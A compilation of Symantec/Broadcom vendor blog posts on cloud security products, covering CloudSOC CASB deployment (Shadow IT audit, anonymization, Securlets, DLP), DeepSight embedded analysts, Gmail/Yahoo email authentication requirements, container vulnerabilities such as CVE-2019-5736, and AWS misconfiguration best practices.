Blocked status is equally important because reviewing blocked traffic can give key insights. For example, attempted access could indicate bad behaviors, such as a user digitally giving their 3 weeks’ notice before they officially give their 2 weeks’ notice.
Approaching Privacy - Tokenization or Anonymization
Organizations that have specific privacy requirements should carefully consider whether to use “Tokenization” to replace factual usernames and IP addresses.
SpanVA also provides support for Audit “Tokenization” - a feature that is documented in detail here:
If CASB features such as API based policy enforcement (Securlets) or inline enforcements (gatelets) are ever going to be used, the CASB will have visibility to factual user information and therefore, tokenization is not a good fit.
Additionally, with a tokenized Shadow IT Audit deployment, if the appliance that tokenized the data becomes unavailable the data can no longer be deobfuscated! This is not the case with “Anonymization”.
Instead, your organization should consider a different feature - “Anonymization”. Anonymization allows an organization to use Role Based Access Control(RBAC) to decide if a CASB Data Protection Officer (DPO) user or other administrators should be able to see the factual user/IP information or if they should see a masked representation such as “anon-1111”. This allows the organization to keep user identification information available when needed using RBAC. This greatly simplifies accessing CASB Audit as-well-as many other CASB administration related tasks and reduces overall deployment risks.
One other important factor is if guest network traffic should be included or excluded from the log source. SpanVA can apply both inclusion and exclusion filters to logs as they are processed and allows administrators to send the same logs to different data sources for different reporting purposes.
For instance:
One datasource including ONLY the guest network logs for visibility and risk purposes.
One datasource excluding the guest network logs.
This prevents confusion or debate about where the traffic for a given app originated. Also, the appropriate audit data source or sources can be selected based upon the reporting use case.
There are two main ways to get data into CASB Audit
1 - Configuration of IP locations and Audit Datasource(s) directly in CloudSOC. This allows direct upload over SCP/SFTP to CloudSOC from pre-defined IP source address locations to the Audit datasource
2 - Configuration of a SpanVA Audit appliance and configuration of SpanVA Audit Datasource(s) in CloudSOC. This allows upload over SCP/SFTP to your SpanVA from any locations your network firewall rules allow. SpanVA can also receive other common formats such as syslog or FTP and even some firewall vendor proprietary formats.
IMPORTANT! The first decision point for using either direct upload or a SpanVA datasource is if IP sources address logs are sent from is static and predictable or if they tend to be more-so dynamic.
CloudSOC’s SFTP and SCP services only allow uploads from locations registered in the CloudSOC portal – not just any IP.
SpanVA can permit log uploads from your dynamic addresses if your organization’s firewall policies permits the necessary access to the SpanVA.
Clearly there are many things to consider. But this is because it is critical to ensure we have a complete picture into the data that exists within your cloud environment. CASB Audit and SpanVA are essential to accomplishing this. But there are still risks involved. We'll cover those in our next blog.
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How to Make the Most of Symantec CloudSOC CASB (Part 3)
Identifying and Reducing the Risks of Implementing CASB Audit
In our last blog we discussed a number of details about CASB Audit implementations that are often overlooked. Today we’ll look into other considerations and possible risks and help clarify what implementing a healthy gold standard Audit deployment looks like.
Understand and reduce the risks
The primary objective of any Shadow IT audit program is to help organizations identify and stop data exfiltration risks related to unknown/untrusted or uncontrolled (unsanctioned) cloud Applications. This is achieved through the CloudSOC Audit component in Symantec CASB.
CloudSOC Audit is used to uncover and help control Shadow IT adoption and use. It provides visibility for all the apps used in your organization and the Business Readiness Ratings (BRR) and service comparison for almost 38k cloud applications. It allows administrators to review newly adopted applications and even create a custom application for virtually any URL that is not part of the CloudSOC Audit database and assign BRR ratings. This is important if your organization uses industry insights and wants to leverage this knowledge within your audit program. CloudSOC Audit contains features that allow customizations by application or category and provides the ability to request additions or suggest updates to the Audit interface to help maintain your data.
A truly successful Shadow IT Program requires a strategic and disciplined approach of blocking or managing risk of unnecessary or risky Shadow IT Applications. It is not enough to simply mark an application blocked or to do a one-time import of known URLs for the application into the proxy or firewall for blocking. The action needs to be monitored on an ongoing basis to make certain the app stays blocked. New URLs will spring up. We recommend using more than just the “Blocked@NWDevice” tag that's built into CloudSOC. We also recommend using a verified blocked tag with a date and a tracking ticket and other related structure to facilitate periodic controls reviews for these applications.
Overcoming Shadow IT Challenges
Mature organizations know that official cloud application adoption is a GRC (Governance Risk and Compliance) related decision. The problem for fast-moving businesses is it rarely ends up being this simple. The context of data involved, application risk and business partner involved weigh heavily on these decisions. Another way to say this is that the primary challenge with Shadow IT is rarely ever as simple as making a clear-cut “all or nothing” (allow or block) decision that impacts user access across the board. All but the riskiest applications will require judgment calls that need to be made by GRC and implemented by administrators. The primary source of friction with these judgment calls is tools. Traditional Endpoint and SWG (web filtering) approaches often rely upon simple block or allow (by URL) rules. This approach does not work well in today’s cloud application centric world because of multi-tenanted cloud applications that use the same URLs for all of their tenants. Devoid of purpose built, application aware, cloud application proxies, administrators are forced to implement access rules that greatly exceed GRC authorized use.
There is a middle ground - trust but verify. Always perform further inspection of this traffic because it is allowed and still extremely risky. The decision to permit a cloud application needs to rely upon a level of inspection that is aware of context. Who the user is, what application is involved, what data is involved, how the data is being shared, and so-on. Symantec’s specialized approach to cloud security can even help squash threats stored in your cloud applications (referred to as Living-off-the-land or LotL) All of these and more are decision attributes that must be taken into account. Items like the cloud service user and data or threat or application activity are key. Inline capabilities are necessary to manage this and will be covered extensively in a later blog article.
Implement a Strong Audit Program
A successful CASB Audit implementation positions both GRC teams and Audit administrators so they can monitor the day to day use of applications. It’s important to review the categories of applications users access with a burning question in mind — why? For instance, why are users utilizing a VPN from the company network? Why is a remote login tool that’s not sanctioned by the company being used by end users? Or why was there a 5TB upload to an AWS bucket (or Azure blob) from a critical server when that is not officially used by the company? Every environment is different and portrays its own unique characteristics and challenges. Understanding the risk from both a data import/exfiltration and threat perspective are critical business functions that must be completed on a regular cadence and continuously reviewed as your program matures. All of the subsequent key processes start with CASB Audit and will evolve as the audit program matures.
The moment a new cloud application is discovered it needs to move into the next phase - the decision to officially sanction (or replace) the application. The transitional state where the business is actively using an application but has not officially sanctioned a cloud application and does not have robust controls to reduce risk is a disruptive state for both the business and the audit program. The new application needs to immediately feed requirements into later steps that formalize adoption status, policy and risk management. With Symantec CloudSOC our Securlets and Gatelets are critical for this. They will be covered in upcoming articles in this series.
Final Thoughts
Most CASB implementations cannot focus exclusively upon the audit program unless it is present solely to ensure zero cloud adoption. Overall log collection and CASB application settings health checks can help your GRC and Administrators govern the tools that govern your cloud adoption. Your CASB solution’s integrations and architecture become increasingly critical in next steps as your business needs shift from visibility to granular controls. Consider all areas when initially choosing a CASB Audit solution to avoid needing to start over in another tool. The tool selected must be able to start simple and advance as your organization’s needs evolve. Your CASB also needs to elastically scale and offer market leading data loss prevention and threat protection to successfully control your cloud adoption risk.
The next step most organizations usually take for more control is to leverage their sanctioned cloud application’s APIs. CloudSOC “Securlets” (Sanctioned Cloud Application Tenant API connections) are the topic we will dive into in our next blog article in the series.
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How to Make the Most of Symantec CloudSOC CASB (Part 4)
Expanding visibility into managed SaaS applications for data at rest monitoring
This blog discusses how to maximize the use of CloudSOC CASB through use of Securlets, CloudSOC’s proprietary term for API connectivity between CloudSOC and a managed SaaS application. Securlets provide granular visibility of SaaS app user’s historical activities in monitored SaaS apps as well as providing granular remediation capabilities to remove exposed or risky data.
The importance of a Securlet - Visibility, Policy Compliance, Content Inspection, Threat Detection
If Audit’s ShadowIT monitoring is in place or inline monitoring of data in motion via Gateway, is API connectivity to monitor SaaS apps needed?
The answer is yes, absolutely!! In fact, Securlet rollouts target inspection of Data at Rest (DAR) and retrieving user historical activities in the SaaS app, and while Securlet activation usually follows deployment of ShadowIT, implementation can precede deployment of ShadowIT monitoring. Securlets are fundamental as they provide:
Visibility and control into your established SaaS apps where significant risk may already exist
Monitoring of user activity for noncompliance with acceptable usage policies
Scanning Data-at-Rest (DAR) for detection of sensitive content and exposures
Detection of malware and risky user behavior for awareness of potential threats and risk
Visibility - You cannot protect what you don’t know about!
ShadowIT analysis, while a great phase one in a cloud security initiative, cannot provide the complete level of visibility and detail that API integration with a managed SaaS app can provide. Similarly, inline inspection methodologies provide real-time activity awareness for users following that connectivity path, but not users who may have access to the SaaS app via different channels nor for historical activity and exposures.
Securlets provide visibility into all user’s activities and the information they are managing. Additionally, API connectivity enables users to remediate existing exposures that may have been in place for years. It is extremely important to deploy Securlets so you can eliminate existing risk and content exposure.
Since many organizations have adopted the use of O365 as their collaboration platform, the examples below are presented in the O365 Securlet context. But, the topics discussed are also applicable to other sanctioned SaaS apps (like Google Workplace, Box, Slack, etc.) where API connectivity between CloudSOC CASB and the SaaS app can be established . Below is a screen snippet of CloudSOC’s O365 Securlet Dashboard.
From a visibility perspective, we can see several things from the outset:
36 files are shared “publicly” (aka anonymously)
2,616 files shared to external domains such as partners or personal O365 subscriptions
7 files shared “internally” which means every user in the organization with the link, could see that file
There is also visibility into other significant aspects related to content exposure and threat detection:
Several Data Loss Prevention (DLP) policies (PII, confidential data, etc.) have been violated
Malware has been discovered sitting at rest in the SaaS app
This example represents a small demo environment, so numbers are small. It is not unusual to see file counts in the millions for larger organizations, especially those with hundreds of thousands of employees. So, how do you address mountains of findings? Using these dashboards, most organizations will prioritize remediation efforts for content inspection issues by grouping criteria. Some examples:
Removing the public share link on shared folders since folder contents may inherit sharing
Focusing on publicly shared files that also violate a DLP PCI/PII policies
Triaging internally shared files that violate DLP policies focused on employee privacy law
Trends and Best Practices
Different SaaS apps often differ on how they do things, so it is not unusual to see variation. In the last two years, customers have been configuring O365 to not allow “any” public sharing of data. The first value in the dashboard displaying publicly shared files is often zero (0). In this case, a good best practice is to create a CloudSOC policy that notifies an admin if “any” file is shared anonymously to the public. In this way, if the primary configuration of O365 fails, the admin will know right away.
CloudSOC Securlets also provide deeper visibility into the details of user activities. Below is the O365 Securlet activities view for the O365 user activity that CloudSOC CASB is collecting.
This view provides visibility into general user activity as well as their compliance to Acceptable Usage Policies defined in CloudSOC Protect and/or in Symantec DLP. For example, in the CloudSOC Investigate app below, we see some policy violations in red that may warrant attention; but we also see some administrative activity that may be of interest if the person performing that activity was not authorized to do so. Note how each activity has “drill down” visibility into the underlying details of the activity.
Overall, Securlets provide the granular visibility needed to identify SaaS app security issues for awareness and response. In the next blog article, we’ll continue to discuss additional views and benefits of Securlets. We’ll also go into how the information can be used by other CloudSOC applications and integrations such as:
CloudSOC Detect for UEBA concepts.
CloudSOC Protect for acceptable policy usage enforcement.
CloudSOC Investigate for awareness of user activities and policy violation.
CloudSOC integration with Symantec DLP for content inspection of Data at Rest (DAR)
If you have any questions about any of the topics discussed and would like more information, please see the white paper Cloud App Security with Symantec DLP Cloud or contact your Broadcom sales representative to schedule a more in-depth discussion of the CloudSOC/CASB offering.
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How to Make the Most of Symantec CloudSOC CASB (Part 5)
Expanding visibility into managed SaaS applications for data at rest monitoring
In the previous blog, we discussed data governance aspects and how CloudSOC CASB provides expanded visibility into SaaS app user behavior and content management history. Continuing from the Securlet discussion we will provide additional benefits provided by CloudSOC Securlets. These include enhanced visibility into areas of policy compliance, User Entity and Behavior Analytics (UEBA), and threat detection. For example, CloudSOC Securlets provide automation for:
Enforcing greater access control for SaaS app users
Providing greater visibility into administrative actions
Identifying your most exposed and risky users
Visibility of SaaS users’ behavior across multiple SaaS apps
How do Securlets (API inspection) help?
The answer is Visibility, Policy Compliance, Content Inspection, Threat Detection
The Pareto Principle (aka 80/20 rule) is a principle that states 80% of all outcomes are derived from 20% of causes. CloudSOC Securlets help organizations understand which of their users present the most risk so that response measures can be initiated in the most impactful and efficient manner.
From a CloudSOC CASB perspective, Securlets not only collect immense amounts of user activity and scan data at rest (DAR) for view in the Securlet dashboards, they also share this information with other CloudSOC applications for more specific analysis, such as behavioral anomaly detection.
Below is a list of CloudSOC applications that consume data provided by CloudSOC Securlets’ API connectivity to SaaS applications
CloudSOC Detect provides UEBA capabilities
Securlets track user activity which is then provided to Detect to maintain a risk profile for each user. This helps organizations detect when users may be performing anomalous or risky behavior!
CloudSOC Protect for acceptable policy usage enforcement
Securlets provide both information for execution of notification policies and access for remediation of risk such as removing shared links or quarantine of malicious content.
CloudSOC Investigate for awareness of user activities and policy violation
Each SaaS app API provides data in different ways. CloudSOC Investigate provides a normalized view of user behavior, content inspection policy violations, risky user detection in a normalized and consolidated audit log to assist with awareness and understanding of exposures the organization may be facing. The outcome is a better understanding of where risk may lie in terms of SaaS app user activity, acceptable usage violations, and data exposure.
Note in the Investigate dashboard below, a color-coded trend line is presented with activities ranked by severity in bar chart views followed by activity listing. Via this view, high severity events can be selected, and granularity of each activity is provided which provides greater context so that higher priority issues can be addressed.
In this Investigate dashboard, a key best practice is understanding use of dynamic filters to hide all but the top risks that need to be addressed. The advanced query bar supports Boolean search strings which can be saved as filter templates so more complex queries can be reused.
CloudSOC integration with Symantec DLP for content inspection of Data at Rest (DAR)
In part four of this blog series, we discussed some content inspection aspects Securlets provide via integration with Symantec’s Data Loss Prevention (DLP) solution - DLP Cloud. Prevention of data exfiltration has been one of the more prevalent use cases in the CASB market. Understanding how data is shared and the overall impact of risk exposure is a top concern. With DLP Cloud, content is detected and shared with the Cloud Detection Service for inspection using DLP policies. This content inspection occurs in the cloud, which efficiently minimizes the bandwidth consumed by other vendors’ approaches since the content is not sent over the organization's perimeter unless there is a content inspection policy violation.
Note that data is not necessarily just in files. One of the benefits of understanding how CloudSOC Securlets work is that it can help administrators expand use cases. For example, the Office 365 Securlet can scan email subject lines and body for sensitive content. MS Teams messages can be scanned for risk as well.
Additionally, DLP Cloud supports all DLP detection methods. This includes other methods such as EDM and OCR, which provide advanced methodologies for more efficient detections.
In the screen snippet below, we can see an example of a content inspection incident in the DLP Enforce console. It describes the discovery of sensitive information in MS Teams messages. Note on the left-hand side, additional criteria of the content and user is provided which is unique to CloudSOC integration with DLP.
Look for the best possible outcome
The above information is a small percentage of what can be done with DLP Cloud’s Securlets, the CloudSOC applications and integration with DLP. The outcome of understanding these components and how best to use them is that resource utilization is maximized, content exposure is eliminated, and you have a better understanding of where risk may lie in your SaaS apps.
But not all SaaS apps are alike, in the next blog (Part 6), we will cover the IaaS Securlets (AWS, Azure, GCP) and show how, in addition to activity monitoring and content inspection capabilities, Securlets also provide Cloud Security Posture Management (CSPM) for these IaaS platforms to help security professionals understand how misconfigurations of the management plan can pose additional risk to their organization.
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How to Make the Most of Symantec CloudSOC CASB
What the Experts* Advise
This blog is the first in a series of articles intended to help customers implement an effective SaaS app security initiative using Symantec’s CASB solution. We have worked directly with many customers struggling to address SaaS app security challenges and having observed many different approaches. This series of blogs will share what has worked and what obstacles were overcome along the way.
Start setting your goals to operate a gold standard CASB
Things can go wrong from the very beginning when customers don’t set goals. And experience tells us that before a customer can be successful, they need to establish goals. But it’s not just goals, they also need to set priorities on what they want to accomplish, in what order, review what workload their security team can handle, understand how they will expand their initiative over time while increasing efficiency of the processes they have established.
While the concept of security being a process rather than a state is pretty much cliché in today’s cybersecurity communities, we still recommend a systematic approach to deploying and operationalizing a CASB solution. Setting reasonable expectations and feasible milestones rather than starting with a boil the ocean directive is critical to success and to avoiding apathy on the importance of securing SaaS applications and protecting sensitive data.
Fitting CASB to Your Business
No two organizations are alike, each with different starting points, SaaS app adoption maturity, heterogeneous technologies, different priorities, varying resources, etc. As a result, CASB solutions are really a collection of multiple security solutions on a single platform and are, by nature, adaptable since every customer will have a unique set of needs and priorities.
The three areas to set goals in any CASB rollout are ShadowIT, data at rest (DAR) and data in motion (DIM). For each of these areas it makes sense to start small and build based on the level of effort and visibility gained. Under each of these goals will be sub considerations that may included
Understanding data flow and data involved - sensitivity of content, how it is shared
The volume of data - how much data, adoption by number of users
Understanding the potential risks
Policy enforcement
Effectiveness and health of the security initiatives
As your implementation takes shape it's valuable to then move the conversation to the use of CASB as a stepping stone to SASE and Zero Trust.
There are of course other considerations but these are the most common we have seen.
How that is solved with Symantec CloudSOC CASB
Symantec CloudSOC CASB is a comprehensive solution containing multiple capabilities for securing SaaS/IaaS applications and solving key customer use cases. Over the next few weeks, we’ll go into more detail on each of these:
Visibility & Compliance - Visibility into Shadow IT and understanding the risks involved with unchecked adoption of unsanctioned applications. Customers gain an understanding of what SaaS apps are in use, how many users are using them, data flow direction and volume. Many other risk attributes such as types of SaaS apps being used and their hosting locations can also be discovered.
Data Protection - Accurately monitor and protect your sensitive data stored in the cloud and secure it from accidental loss or insider theft.
Threat Protection - Defend against a host of cloud threats and malware and ensure employees are not introducing or propagating them through cloud services.
UEBA - Correlates key information (violations, users, accounts, and assets) to assign risk scores to users and incidents via CloudSOC’s UEBA and machine learning capabilities一allowing adaptive policy actions.
What next?
In this upcoming blog series we will discuss what a healthy gold standard deployment may incorporate and how to review a CASB implementation months after deployment.
If you have any questions or interest in Symantec CASB (aka CloudSOC) and how it can help you in securing your SaaS/IaaS applications please contact your Broadcom sales team or reach out via contact information on our website.
*We are senior cybersecurity consultants specializing in securing SaaS/IaaS applications with our Cloud Access Security Broker (aka CASB) solution with over a decade of hands-on experience.
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How to Maximize Threat Intelligence with a Human Touch
DeepSight Intelligence can help organizations deal with the scope of today’s threats and the scarcity of top cyber security talent
Companies are actively maturing their cyber security posture through a host of methods, from embracing an expanded tools portfolio to investing in add-on intelligence services that provide additional protection and context relative to advanced threats. Another key building block being embraced is embedding professional threat intelligence experts into internal security organizations to turbocharge the resource pool and to maximize the impact of intelligence for enterprise security.
This approach has appeal because organizations already are scrambling to recruit basic cyber security talent, let alone gain access to sophisticated intelligence experts with knowledge and experience in thwarting advanced attacks.
Cybersecurity Ventures, a researcher in the cyber security economy, estimates there will be 3.5 million unfilled cyber security positions by 2021, making it next to impossible for companies to keep pace with the dramatic rise in cyber crime, which is expected to cost enterprises $6 trillion by 2021. A study by the Information Systems Security Association (ISSA) and analyst firm Enterprise Strategy Group (ESG) found the cyber security skills shortage now affects nearly three quarters of organizations (74 percent) with 63 percent confirming they are falling behind when it comes to providing adequate levels of training to their cyber security staff.
Another key building block being embraced is embedding professional threat intelligence experts into internal security organizations to turbocharge the resource pool and to maximize the impact of intelligence for enterprise security.
Symantec’s recently-released Cloud Security Threat Report (CSTR) confirms that the cyber security skills gap is one of the biggest obstacles that companies face in effectively responding to cloud security threats. The vast majority of respondents (92 percent) confirmed a need to shore up the skills of existing security staffers while 84 percent said there was an imperative to increase the number of cloud security employees to ensure an effective security posture.
“Intelligence is a complex field which requires highly skilled personnel to do effective analysis; and those people are hard to find,” says Albert Cooley, Symantec’s director of product management for DeepSight, a cloud-hosted cyber threat intelligence platform drawn from Symantec’s portfolio of security products and the Symantec Global Intelligence Network, the largest civilian threat collection network. “Being able to tap into the world’s foremost experts on cyber intelligence is very attractive for governments, large banks, and other companies.”
Applying DeepSight Intelligence
Symantec is offering its enterprise customers the ability to tap into that cadre of intelligence expertise via a program that embeds threat expert talent directly into a company’s own security ranks. Offered as part of the portfolio of professional services surrounding DeepSight, companies can contract for Symantec’s highly-trained personnel to work on-site at a firm for a specific duration—typically anywhere from one to three years, Cooley says.
Aimed primarily at large entities such as government and defense agencies, and the military along with commercial players in industries like finance and pharmaceuticals, the embedded analyst program is a consulting service that Symantec makes available to help organizations get greater value out of DeepSight intelligence data. With the service, the analyst contextualizes the intelligence in a way that is specific to the unique challenges and needs of a customer’s own environment.
The embedded analyst approach offers a number of advantages for maximizing the value of DeepSight threat intelligence services. Embedding a Symantec expert within the security organization fosters a keen understanding of a firm’s unique business needs as they relate to security challenges, allowing threat intelligence to be interpreted in a way that has a direct correlation to the specific situation as opposed to general findings.
For example, embedded analysts typically review incoming intelligence reports that outline the most pressing threats facing global customers, selecting those that present the most significant risk to the client for special treatment. The embedded analyst might then produce a custom report that outlines why a specific cyber crime group would target that individual organization, how exactly they might gain entrée, even down to the level of what specific email addresses they might leverage. This information would be incorporated into management risk reports and be used by various operational teams to put in place protective controls.
The embedded analyst approach offers a number of advantages for maximizing the value of DeepSight threat intelligence services.
“Intelligence provides a broad and dynamic view of the threat environment. Applying it specifically and uniquely to your environment will yield the best results,” Cooley says. “Having an embedded analyst helps accelerate the application of intelligence to your environment.”
An embedded analyst also can jumpstart security organization training and mentoring, not just in effectively leveraging DeepSight intelligence, but in overall cyber security best practices. Symantec embedded threat analysts get access to proprietary Symantec tools and information that’s not available to the general public or to other security professionals, which enables them to apply unique capabilities. They also have access to the Deepsight and Symantec intelligence community, so they can serve as a conduit to get answers to security questions and concerns more quickly while presenting them in a business-specific context.
Embedding threat intelligence analysts on the team also ensures organizations maximize their investment in DeepSight. “The service gets organizations up and running and understanding intelligence quickly while monitoring them over time to make sure they are using it to the full potential,” Cooley says.
Given the scope of today’s threats and the scarcity of top cyber security talent, an extra hand may well be worth it.
To learn more about Symantec DeepSight and the embedded analyst program, call your local Symantec account manager.
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How to Prepare for New Email Authentication Requirements
Non-compliant email could be rejected as soon as 31 March 2024
Gmail and Yahoo are introducing new sender authentication requirements to provide end users a safer email experience. At a high level, this means that organizations that send significant amounts of email to Gmail or Yahoo inboxes need to adopt a sender authentication standard. This will allow Google and Yahoo to verify the sender’s identity. So, even if you don’t use Gmail or Yahoo, you need to pay attention as the requirements apply to organizations that send to Gmail or Yahoo.
Any business that’s a high volume sender of email - sending more than 5,000 daily emails to Gmail or Yahoo email accounts - this change will affect you. Even businesses that don’t meet the threshold should adopt the sender authentication standard. It prevents email domains being fraudulently abused, and that ultimately impacts the trust anyone can place on your brand.
High volume email senders are required to use SPF, DKIM and DMARC (various industry recognized sender authentication standards), with the goal of ensuring Gmail and Yahoo end users can place more trust in the email they receive. Any email that doesn’t comply risks being rejected or marked as spam. Google and Yahoo have stated that they will put this into effect in the first quarter of 2024.
The key requirements for organizations are:
Ensure sent email is authenticated using SPF, DKIM, and DMARC and, at a minimum, sent from a domain with a DMARC policy of at least p=none
Have a valid forward and reverse DNS record for your sending IP addresses
Comply with RFC 5321 "Simple Mail Transfer Protocol" and RFC 5322 "Internet Message Format"
Provide one-click unsubscribe links
Refrain from sending unsolicited email
Implementing DMARC enforcement is hard. Most organizations fail because they take a one-time project approach which underestimates the complexity and maintenance required. The Symantec Email Fraud Protection solution provides a fully automated sender authentication solution that makes DMARC enforcement easy and accessible. It enables you to easily comply with these new requirements and manage emails coming from your domain. We provide the Email Fraud Protection monitoring portion of the service complementary to all our Email Security.cloud customers so you can gain 100% visibility into all email traffic using your domains. For complete details on the Email Fraud Protection solution please visit the following link.
References:
https://senders.yahooinc.com/best-practices/
https://blog.google/products/gmail/gmail-security-authentication-spam-protection/
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How to Protect Your Containers Against the Latest Threats and Vulnerabilities
As containers are deployed by more companies, they’re fast becoming a tempting target as more bad actors learn to launch container-focused exploits
Container technology allows developers to break applications into smaller more manageable pieces, enabling rapid production and deployment of massively scalable, highly reliable applications – hence their rapid adoption by the DevOps community. But DevOps rapid development cycles leave little room for security and vulnerability testing. In this blog I’ll highlight some recent container threats and vulnerabilities and introduce security steps you should consider when deploying containers.
Increasing Container Popularity Has a Downside
Because of their many benefits, containers are becoming increasingly popular. Forty-six percent of respondents to a recent survey by storage company DataCore said they were using containers either in production or in development and testing. Gartner estimates that by 2020, more than half of all global organizations will be running containerized applications in production. And the industry’s adoption of Docker, the leading container platform, exploded from 35 percent in 2017 to 49 percent in 2018, a 40 percent increase in one year.
As containers are deployed by more companies, they become a tempting target. Hackers are just beginning to exploit container vulnerabilities, but attacks will increase as more bad actors learn to launch container-focused exploits.
Containers are vulnerable in a variety of ways. For example, poorly configured images can allow an attacker to break into an enterprise network. Images sometimes contain authentication keys or certificates that attackers can use in further attacks. Opensource software used in images often include vulnerabilities. Applications running inside of containers may be outdated, unpatched or unsecure. They may even contain hidden malware. And if a hacker breaks into just one container or gains access to the host, they could potentially gain control of every container running in an enterprise.
These threats are more than theoretical. In fact a recently discovered vulnerability, initially dubbed Doomsday, affects runC, the open-source command-line tool developed by Docker for spawning and running Docker containers, as well Kubernetes and other container-dependent programs. Now known as CVE-2019-5736, this vulnerability could allow an attacker-controlled container to gain root-level code execution to the Docker host. Scott McCarty, technical product manager for containers at RedHat, warns, “Exploiting this vulnerability means that malicious code could potentially break containment, impacting not just a single container, but the entire container host, ultimately compromising the hundreds-to-thousands of other containers running on it."
And if a hacker breaks into just one container or gains access to the host, they could potentially gain control of every container running in an enterprise.
And that’s just the latest reported vulnerability. Earlier this year, the proof-of-concept Play-with-Docker hack allowed security researchers to manipulate Docker containers running on host systems. Last year, 17 malicious Docker images were pulled from the Docker Hub image repository. The images had been used for cryptojacking attacks and were collectively downloaded more than 5 million times. In one early 2019 survey, 60 percent of respondents say their organization had been subject to at least one container security incident in the last year. Seventy five percent of companies with more than 100 containers say they were hit.
How to Keep Your Containers Safe
There are ways, however, to keep your container deployments safe. Symantec Cloud Workload Protection (CWP) discovers and protects your compute instances and containers across Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), and now Oracle Cloud Infrastructure (OCI). CWP goes even further to protect containers running in private clouds and on-premises data centers, all from a single cloud-delivered console. Cloud-native integration enables DevOps to bake security into continuous integration and deployment (CI/DC) workflows. For organizations preferring to use a localized management console, Symantec Data Center Security offers the same strong protection for containers and hosts deployed in traditional data centers.
It’s problematic to install an agent on container images, so the CWP agent is installed on the Docker host. This enables the agent to protect the Docker host from attacks while discovering and defending all containers running on the host against exploits. This centralized location also allows the CWP agent to control communications between containers through container-level and application-level firewall rules. Most importantly, CWP isolates processes running inside of each container from the docker host and other containers, effectively creating a ‘castle’ environment for each container. Any unauthorized processes on the Docker host or containers are effectively isolated in ‘jails’ with zero trust privileges. This ensures that deployed containerized applications and the Docker host remain immutable (or unchangeable). This isolation feature in CWP blocks Docker Doomsday exploits from using any potentially compromised containers to access and modify host file systems.
CWP constantly monitors all containers on the host, providing a central view that includes metadata and run status. It deploys Unix real-time File Integrity Monitoring (FIM) policy to the Docker host that monitors changes to an application’s executable and data files on the host as well as the containers. It also monitors all containers downloaded and deployed from Docker Hub, providing an audit trail. And it tracks users created on Docker hosts and inside containers.
For containers or workloads leveraging public cloud storage, Symantec Cloud Workload Protection for Storage (CWP for Storage) discovers, scans, and tags Amazon S3 buckets and stored objects for malware and threats. This ensures that shared storage cannot spread threats, such as ransomware and bots, to other containers, applications, services and end user devices. And, with the recently released CWP for Storage with DLP solution, objects in Amazon S3 buckets can also be scanned and tagged for DLP policy violations. Leveraging threat and DLP detection tags, security practitioners can create tag-based IAM Policy rules to prevent containerized applications from accessing infected S3 buckets and objects.
The upshot of all this? Your enterprise can enjoy the performance benefits of containers without sacrificing security. You’ll be able to run containers and rest easy, knowing that your critical applications and data are safe.
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How to Protect Yourself in the Cloud: Tips and Best Practices
Data breaches are attracting a lot of attention lately. Amazon Web Services and Symantec partner to offer some proven ways organizations can help protect themselves
It’s almost impossible to ignore the constant drumbeat of news about the latest cloud security data breach. From the headlines, one would think they are basically inevitable, an unavoidable cost of business as businesses move to the cloud. The fact is, however, they’re not. Even more important to note is that there are concrete steps organizations can take to substantially reduce the risk of a cloud security breach from ever occurring at all.
The reality is that a secure cloud environment like Amazon Web Services (AWS) offers many organizations far better security than they can afford on their own. As Curt Dukes, executive vice president for Security Best Practices, for the non-profit Center for Internet Security (CIS), says, “Companies with limited resources and budget should actually consider moving to the cloud to benefit from stronger security and compliance. Equipment is monitored, and access to the premises of data centers is heavily secured.”
The truth is no different for enterprise scale organizations. Cloud is intrinsically as safe, and especially given today’s expanding digital threat landscape, safer and more secure than your own on-premise data centers.
So, what, or perhaps better, who is responsible for the majority of cloud security data breaches? Well, to paraphrase a popular line of William Shakespeare’s, “the fault is not in the (clouds), it is in ourselves.” The vast majority of cloud security failures are due to misconfiguration errors. Mistakes in short, that are made by us. Errors that are not inevitable but that can be avoided relatively easily and cost-effectively. The good news is that your organization does not have to be a statistic – the latest to fall victim to a high-profile data breach and the next headline in the hacking news.
Protect Yourself In the Cloud
Partnering to Secure Organizations Better
Symantec, and the world’s leading public cloud provider, Amazon Web Services, are trusted partners who constantly work together to help our customers improve their own cloud security practices. As part of that responsibility, we’ve developed a number of best practices, tips and solutions that address many of the root causes, such as Amazon Simple Storage Service (S3) misconfiguration errors, of cloud security failures.
We’ve collected these best practices in a guide for easy reference. Central to these best practices is understanding that improving cloud security is a shared responsibility between organizations and their cloud and security vendors. That means that organizations should first ensure that they select a cloud provider, like Amazon, that they trust to offer a highly secure infrastructure. It then becomes incumbent on the organization to take the steps necessary to help secure their data and workloads running in that cloud environment.
Perhaps most important for an organization is to ensure that their cloud security solution provides automated security. It needs to be baked into the infrastructure so that it automatically monitors the organization’s data wherever it lives and goes in the cloud. The dynamic nature of cloud and modern cloud-native applications makes this a necessity. Another best practice is to adopt a Zero Trust approach to protecting workloads and securing access. A Zero Trust approach that is identity-centric and based on data classification. This makes it much easier for your organization to monitor and track data in real-time and conversely, much more difficult for hackers to infiltrate and do damage. And finally, a third best practice is to ensure that your cloud security solution addresses malware too.
Avoiding Cloud Misconfiguration Errors
Given that misconfiguration errors are the cause of the vast majority of cloud security failures, avoiding these mistakes is also a primary focus of our joint Amazon and Symantec cloud security recommendations. There are three cloud security misconfiguration errors that are the biggest to avoid because they are the source of most cloud security breaches. They are:
Leaving default settings unchanged, creating open access for hackers to exploit.
Open cloud storage buckets that enable bucket access permission errors.
Stolen credentials that compromise access keys -- granting hackers full access.
To secure your Amazon cloud environment and avoid these misconfiguration errors, organizations need to correctly configure their cloud in four key areas: identity and access management, logging, monitoring, and networking. Based on our work with our customers, we have created a “Configuration Checklist” that highlights what we believe are the Top 10 most important–and easiest--steps for customers to take when moving their infrastructure to AWS.
By adopting these security tips and best practices from Amazon Web Services and Symantec, you can be assured that your cloud environments are both secure and configured correctly – and not the cause of your organization becoming the latest data breach trending on Twitter and the evening news.
As an Advanced Technology Partner with Amazon Web Services, our Symantec cloud security solutions are optimized for the AWS platform and have received the highest certification from AWS: Security Infrastructure Competency. Our solutions are automated and folded into the development workflow, ensuring an added level of agile security and compliance for developers and other users. In addition, Symantec cloud security solutions protect workloads and defend against malware attacks.
Still have questions? We can help. Contact Symantec: [email protected]
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How to Stop Data Loss in an Office 365 Cloud-Centric World
Symantec’s ISTR reveals that 49% of cloud hacks and exploits come from email, file sharing, and instant messaging
Protecting sensitive data is hard enough when everything is stored on-premise, but it’s an entirely different ball game as the enterprise steadily marches towards cloud-based systems like Microsoft Office 365.
